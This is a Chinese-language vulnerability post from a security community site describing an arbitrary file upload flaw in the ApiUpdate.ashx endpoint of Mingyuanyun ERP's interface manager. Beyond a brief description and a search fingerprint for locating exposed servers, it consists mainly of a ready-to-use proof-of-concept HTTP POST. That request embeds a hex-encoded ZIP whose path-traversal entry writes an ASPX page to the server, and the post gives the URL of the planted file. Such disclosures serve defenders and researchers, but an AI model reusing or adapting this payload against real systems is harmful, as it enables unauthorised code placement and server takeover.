奇安信攻防社区-MingyuanyunERP系统接口管家 ApiUpdate.ashx 任意文件上传漏洞

MingyuanyunERP系统接口管家 ApiUpdate.ashx 任意文件上传漏洞

# MingyuanyunERP系统接口管家 ApiUpdate.ashx 任意文件上传漏洞 ## 漏洞描述 MingyuanyunERP系统接口管家 ApiUpdate.ashx 文件存在任意文件上传漏洞，攻击者通过构造特殊的ZIP压缩包可...

MingyuanyunERP系统 接口管家 ApiUpdate.ashx 任意文件上传漏洞
=============================================

漏洞描述
----

MingyuanyunERP系统接口管家 ApiUpdate.ashx 文件存在任意文件上传漏洞，攻击者通过构造特殊的ZIP压缩包可以上传任意文件，控制服务器

漏洞影响
----

MingyuanyunERP系统接口管家

网络测绘
----

"接口管家站点正常！"

漏洞复现
----

登录页面

![img](https://shs3.b.qianxin.com/butian_public/f6547728b92215db4fa16f94f3b6725a8710ce2338431.jpg)

漏洞存在于某端口下的接口管家服务

![img](https://shs3.b.qianxin.com/butian_public/f1408179583b8d611d365db583b0360a141c4b743de66.jpg)

验证POC

```http
POST /myunke/ApiUpdateTool/ApiUpdate.ashx?apiocode=a HTTP/1.1
Host: 
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3)AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 856

{{hexdec(504B030414000000080063740E576AE37B2383000000940000001D0000002E2E2F2E2E2F2E2E2F666463636C6F75642F5F2F746573742E6173707825CC490AC2401404D0BDA7685A02C9A62F90288A22041C42E2B0FE4A11033DD983E0EDFDE2AEA8575453AC444723C49EEC98392CE4662E45B16C185AE35D48E24806D1D3836DF8C404A3DAD37F227A066723D42D4C09A53C23A66BD65656F56ED2505B68703F20BC11D4817C47E959F678651EAA4BD06A7D8F4EE7841F5455CDB7B32F504B0102140314000000080063740E576AE37B2383000000940000001D00000000000000000000008001000000002E2E2F2E2E2F2E2E2F666463636C6F75642F5F2F746573742E61737078504B050600000000010001004B000000BE0000000000)}}
```

![img](https://shs3.b.qianxin.com/butian_public/f45273582059fd7a8bef66552618207c5cf808ccde25a.jpg)

```http
/fdccloud/_/test.aspx
```

发表于 2024-07-12 18:46:31
阅读 ( 686 )
分类：Web应用

MingyuanyunERP系统 接口管家 ApiUpdate.ashx 任意文件上传漏洞

0 条评论

MingyuanyunERP系统接口管家 ApiUpdate.ashx 任意文件上传漏洞